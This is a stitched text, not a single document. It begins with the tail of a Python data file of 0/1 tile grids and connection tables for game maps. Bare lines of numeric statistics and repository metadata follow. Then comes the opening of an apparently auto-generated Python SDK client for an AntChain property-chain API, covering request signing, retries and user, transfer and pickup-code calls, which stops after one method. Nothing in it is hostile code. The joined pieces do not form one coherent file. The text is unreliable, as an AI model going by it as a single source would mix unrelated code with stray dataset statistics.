1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1] ], 'field_village' : [ [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1] ], 'field_2' : [ [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1] ], 'field_final' : [ [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], ], } size = { 'home_town' : [1280, 1280], 'field_1' : [2560, 1280], 'field_village' : [2560, 2560], 'field_2' : [2560, 1280], 'field_final' : [1280, 2560] } interaction = { 'home_town' : [ [[160, 400], 'dialogue', 1] ], 'field_1' : [], 'field_village' : [ [[560, 1200], 'shop', 1001], ], 'field_2' : [], 'field_final' : [] } connection = { 'home_town' : [ [[480, 1200, 720, 1200], 'down', 'field_1', [-1, 0]] ], 'field_1' : [ [[480, 0, 720, 0], 'up', 'home_town', [-1, 1200]], [[2480, 480, 2480, 720], 'right', 'field_village', [0, -3]] ], 'field_village' : [ [[0, 1760, 0, 2000], 'left', 'field_1', [2480, -2]], [[2480, 480, 2480, 720], 'right', 'field_2', [0, -1]] ], 'field_2' : [ [[0, 480, 0, 720], 'left', 'field_village', [2480, -1]], [[1760, 1200, 2000, 1200], 'down', 'field_final', [-2, 0]] ], 'field_final' : [ [[480, 0, 720, 0], 'up', 'field_2', [-3, 1200]], ], } enemy = { 'home_town' : [], 'field_1' : [[[1280, 800], 1001]], 'field_village' : [], 'field_2' : [[[640, 320], 1001]], 'field_final' : [[[240, 2320], 1002]], }
62.833333
105
0.311991
2,970
10,933
1.137374
0.012795
1.039076
1.445826
1.777383
0.859976
0.854056
0.839846
0.839846
0.839846
0.839846
0
0.447059
0.37803
10,933
173
106
63.196532
0.049706
0
0
0.775148
0
0
0.032105
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
1
null
1
1
1
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
13
65f3c6512f03817404a2ae4830df9c9338834ed3
171,168
py
Python
propertychain/python/antchain_sdk_propertychain/client.py
alipay/antchain-openapi-prod-sdk
f78549e5135d91756093bd88d191ca260b28e083
[ "MIT" ]
6
2020-06-28T06:40:50.000Z
2022-02-25T11:02:18.000Z
propertychain/python/antchain_sdk_propertychain/client.py
alipay/antchain-openapi-prod-sdk
f78549e5135d91756093bd88d191ca260b28e083
[ "MIT" ]
null
null
null
propertychain/python/antchain_sdk_propertychain/client.py
alipay/antchain-openapi-prod-sdk
f78549e5135d91756093bd88d191ca260b28e083
[ "MIT" ]
6
2020-06-30T09:29:03.000Z
2022-01-07T10:42:22.000Z
# -*- coding: utf-8 -*- # This file is auto-generated, don't edit it. Thanks. import time from Tea.exceptions import TeaException, UnretryableException from Tea.request import TeaRequest from Tea.core import TeaCore from antchain_alipay_util.antchain_utils import AntchainUtils from typing import Dict from antchain_sdk_propertychain import models as propertychain_models from alibabacloud_tea_util.client import Client as UtilClient from alibabacloud_tea_util import models as util_models from alibabacloud_rpc_util.client import Client as RPCUtilClient class Client: _endpoint: str = None _region_id: str = None _access_key_id: str = None _access_key_secret: str = None _protocol: str = None _user_agent: str = None _read_timeout: int = None _connect_timeout: int = None _http_proxy: str = None _https_proxy: str = None _socks_5proxy: str = None _socks_5net_work: str = None _no_proxy: str = None _max_idle_conns: int = None _security_token: str = None _max_idle_time_millis: int = None _keep_alive_duration_millis: int = None _max_requests: int = None _max_requests_per_host: int = None def __init__( self, config: propertychain_models.Config, ): """ Init client with Config @param config: config contains the necessary information to create a client """ if UtilClient.is_unset(config): raise TeaException({ 'code': 'ParameterMissing', 'message': "'config' can not be unset" }) self._access_key_id = config.access_key_id self._access_key_secret = config.access_key_secret self._security_token = config.security_token self._endpoint = config.endpoint self._protocol = config.protocol self._user_agent = config.user_agent self._read_timeout = UtilClient.default_number(config.read_timeout, 20000) self._connect_timeout = UtilClient.default_number(config.connect_timeout, 20000) self._http_proxy = config.http_proxy self._https_proxy = config.https_proxy self._no_proxy = config.no_proxy self._socks_5proxy = config.socks_5proxy self._socks_5net_work = config.socks_5net_work self._max_idle_conns = UtilClient.default_number(config.max_idle_conns, 60000) self._max_idle_time_millis = UtilClient.default_number(config.max_idle_time_millis, 5) self._keep_alive_duration_millis = UtilClient.default_number(config.keep_alive_duration_millis, 5000) self._max_requests = UtilClient.default_number(config.max_requests, 100) self._max_requests_per_host = UtilClient.default_number(config.max_requests_per_host, 100) def do_request( self, version: str, action: str, protocol: str, method: str, pathname: str, request: dict, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> dict: """ Encapsulate the request and invoke the network @param action: api name @param protocol: http or https @param method: e.g. GET @param pathname: pathname of every api @param request: which contains request params @param runtime: which controls some details of call api, such as retry times @return: the response """ runtime.validate() _runtime = { 'timeouted': 'retry', 'readTimeout': UtilClient.default_number(runtime.read_timeout, self._read_timeout), 'connectTimeout': UtilClient.default_number(runtime.connect_timeout, self._connect_timeout), 'httpProxy': UtilClient.default_string(runtime.http_proxy, self._http_proxy), 'httpsProxy': UtilClient.default_string(runtime.https_proxy, self._https_proxy), 'noProxy': UtilClient.default_string(runtime.no_proxy, self._no_proxy), 'maxIdleConns': UtilClient.default_number(runtime.max_idle_conns, self._max_idle_conns), 'maxIdleTimeMillis': self._max_idle_time_millis, 'keepAliveDurationMillis': self._keep_alive_duration_millis, 'maxRequests': self._max_requests, 'maxRequestsPerHost': self._max_requests_per_host, 'retry': { 'retryable': runtime.autoretry, 'maxAttempts': UtilClient.default_number(runtime.max_attempts, 3) }, 'backoff': { 'policy': UtilClient.default_string(runtime.backoff_policy, 'no'), 'period': UtilClient.default_number(runtime.backoff_period, 1) }, 'ignoreSSL': runtime.ignore_ssl, # 无分组设备 } _last_request = None _last_exception = None _now = time.time() _retry_times = 0 while TeaCore.allow_retry(_runtime.get('retry'), _retry_times, _now): if _retry_times > 0: _backoff_time = TeaCore.get_backoff_time(_runtime.get('backoff'), _retry_times) if _backoff_time > 0: TeaCore.sleep(_backoff_time) _retry_times = _retry_times + 1 try: _request = TeaRequest() _request.protocol = UtilClient.default_string(self._protocol, protocol) _request.method = method _request.pathname = pathname _request.query = { 'method': action, 'version': version, 'sign_type': 'HmacSHA1', 'req_time': AntchainUtils.get_timestamp(), 'req_msg_id': AntchainUtils.get_nonce(), 'access_key': self._access_key_id, 'base_sdk_version': 'TeaSDK-2.0', 'sdk_version': '1.0.45' } if not UtilClient.empty(self._security_token): _request.query['security_token'] = self._security_token _request.headers = TeaCore.merge({ 'host': UtilClient.default_string(self._endpoint, 'openapi.antchain.antgroup.com'), 'user-agent': UtilClient.get_user_agent(self._user_agent) }, headers) tmp = UtilClient.anyify_map_value(RPCUtilClient.query(request)) _request.body = UtilClient.to_form_string(tmp) _request.headers['content-type'] = 'application/x-www-form-urlencoded' signed_param = TeaCore.merge(_request.query, RPCUtilClient.query(request)) _request.query['sign'] = AntchainUtils.get_signature(signed_param, self._access_key_secret) _last_request = _request _response = TeaCore.do_action(_request, _runtime) raw = UtilClient.read_as_string(_response.body) obj = UtilClient.parse_json(raw) res = UtilClient.assert_as_map(obj) resp = UtilClient.assert_as_map(res.get('response')) if AntchainUtils.has_error(raw, self._access_key_secret): raise TeaException({ 'message': resp.get('result_msg'), 'data': resp, 'code': resp.get('result_code') }) return resp except Exception as e: if TeaCore.is_retryable(e): _last_exception = e continue raise e raise UnretryableException(_last_request, _last_exception) async def do_request_async( self, version: str, action: str, protocol: str, method: str, pathname: str, request: dict, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> dict: """ Encapsulate the request and invoke the network @param action: api name @param protocol: http or https @param method: e.g. GET @param pathname: pathname of every api @param request: which contains request params @param runtime: which controls some details of call api, such as retry times @return: the response """ runtime.validate() _runtime = { 'timeouted': 'retry', 'readTimeout': UtilClient.default_number(runtime.read_timeout, self._read_timeout), 'connectTimeout': UtilClient.default_number(runtime.connect_timeout, self._connect_timeout), 'httpProxy': UtilClient.default_string(runtime.http_proxy, self._http_proxy), 'httpsProxy': UtilClient.default_string(runtime.https_proxy, self._https_proxy), 'noProxy': UtilClient.default_string(runtime.no_proxy, self._no_proxy), 'maxIdleConns': UtilClient.default_number(runtime.max_idle_conns, self._max_idle_conns), 'maxIdleTimeMillis': self._max_idle_time_millis, 'keepAliveDurationMillis': self._keep_alive_duration_millis, 'maxRequests': self._max_requests, 'maxRequestsPerHost': self._max_requests_per_host, 'retry': { 'retryable': runtime.autoretry, 'maxAttempts': UtilClient.default_number(runtime.max_attempts, 3) }, 'backoff': { 'policy': UtilClient.default_string(runtime.backoff_policy, 'no'), 'period': UtilClient.default_number(runtime.backoff_period, 1) }, 'ignoreSSL': runtime.ignore_ssl, # 无分组设备 } _last_request = None _last_exception = None _now = time.time() _retry_times = 0 while TeaCore.allow_retry(_runtime.get('retry'), _retry_times, _now): if _retry_times > 0: _backoff_time = TeaCore.get_backoff_time(_runtime.get('backoff'), _retry_times) if _backoff_time > 0: TeaCore.sleep(_backoff_time) _retry_times = _retry_times + 1 try: _request = TeaRequest() _request.protocol = UtilClient.default_string(self._protocol, protocol) _request.method = method _request.pathname = pathname _request.query = { 'method': action, 'version': version, 'sign_type': 'HmacSHA1', 'req_time': AntchainUtils.get_timestamp(), 'req_msg_id': AntchainUtils.get_nonce(), 'access_key': self._access_key_id, 'base_sdk_version': 'TeaSDK-2.0', 'sdk_version': '1.0.45' } if not UtilClient.empty(self._security_token): _request.query['security_token'] = self._security_token _request.headers = TeaCore.merge({ 'host': UtilClient.default_string(self._endpoint, 'openapi.antchain.antgroup.com'), 'user-agent': UtilClient.get_user_agent(self._user_agent) }, headers) tmp = UtilClient.anyify_map_value(RPCUtilClient.query(request)) _request.body = UtilClient.to_form_string(tmp) _request.headers['content-type'] = 'application/x-www-form-urlencoded' signed_param = TeaCore.merge(_request.query, RPCUtilClient.query(request)) _request.query['sign'] = AntchainUtils.get_signature(signed_param, self._access_key_secret) _last_request = _request _response = await TeaCore.async_do_action(_request, _runtime) raw = await UtilClient.read_as_string_async(_response.body) obj = UtilClient.parse_json(raw) res = UtilClient.assert_as_map(obj) resp = UtilClient.assert_as_map(res.get('response')) if AntchainUtils.has_error(raw, self._access_key_secret): raise TeaException({ 'message': resp.get('result_msg'), 'data': resp, 'code': resp.get('result_code') }) return resp except Exception as e: if TeaCore.is_retryable(e): _last_exception = e continue raise e raise UnretryableException(_last_request, _last_exception) def create_user( self, request: propertychain_models.CreateUserRequest, ) -> propertychain_models.CreateUserResponse: """ Description: 用户注册 Summary: 用户注册 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_user_ex(request, headers, runtime) async def create_user_async( self, request: propertychain_models.CreateUserRequest, ) -> propertychain_models.CreateUserResponse: """ Description: 用户注册 Summary: 用户注册 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_user_ex_async(request, headers, runtime) def create_user_ex( self, request: propertychain_models.CreateUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateUserResponse: """ Description: 用户注册 Summary: 用户注册 """ UtilClient.validate_model(request) return propertychain_models.CreateUserResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.user.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_user_ex_async( self, request: propertychain_models.CreateUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateUserResponse: """ Description: 用户注册 Summary: 用户注册 """ UtilClient.validate_model(request) return propertychain_models.CreateUserResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.user.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_transfer( self, request: propertychain_models.CreateTransferRequest, ) -> propertychain_models.CreateTransferResponse: """ Description: 物权凭证转让/赠送 Summary: 物权凭证转让/赠送 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_transfer_ex(request, headers, runtime) async def create_transfer_async( self, request: propertychain_models.CreateTransferRequest, ) -> propertychain_models.CreateTransferResponse: """ Description: 物权凭证转让/赠送 Summary: 物权凭证转让/赠送 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_transfer_ex_async(request, headers, runtime) def create_transfer_ex( self, request: propertychain_models.CreateTransferRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateTransferResponse: """ Description: 物权凭证转让/赠送 Summary: 物权凭证转让/赠送 """ UtilClient.validate_model(request) return propertychain_models.CreateTransferResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.transfer.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_transfer_ex_async( self, request: propertychain_models.CreateTransferRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateTransferResponse: """ Description: 物权凭证转让/赠送 Summary: 物权凭证转让/赠送 """ UtilClient.validate_model(request) return propertychain_models.CreateTransferResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.transfer.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_pickup( self, request: propertychain_models.CreatePickupRequest, ) -> propertychain_models.CreatePickupResponse: """ Description: 创建提取码 Summary: 创建提取码 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_pickup_ex(request, headers, runtime) async def create_pickup_async( self, request: propertychain_models.CreatePickupRequest, ) -> propertychain_models.CreatePickupResponse: """ Description: 创建提取码 Summary: 创建提取码 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_pickup_ex_async(request, headers, runtime) def create_pickup_ex( self, request: propertychain_models.CreatePickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreatePickupResponse: """ Description: 创建提取码 Summary: 创建提取码 """ UtilClient.validate_model(request) return propertychain_models.CreatePickupResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.pickup.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_pickup_ex_async( self, request: propertychain_models.CreatePickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreatePickupResponse: """ Description: 创建提取码 Summary: 创建提取码 """ UtilClient.validate_model(request) return propertychain_models.CreatePickupResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.pickup.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def cancel_pickup( self, request: propertychain_models.CancelPickupRequest, ) -> propertychain_models.CancelPickupResponse: """ Description: 销毁提取码 Summary: 销毁提取码 """ runtime = util_models.RuntimeOptions() headers = {} return self.cancel_pickup_ex(request, headers, runtime) async def cancel_pickup_async( self, request: propertychain_models.CancelPickupRequest, ) -> propertychain_models.CancelPickupResponse: """ Description: 销毁提取码 Summary: 销毁提取码 """ runtime = util_models.RuntimeOptions() headers = {} return await self.cancel_pickup_ex_async(request, headers, runtime) def cancel_pickup_ex( self, request: propertychain_models.CancelPickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelPickupResponse: """ Description: 销毁提取码 Summary: 销毁提取码 """ UtilClient.validate_model(request) return propertychain_models.CancelPickupResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.pickup.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) 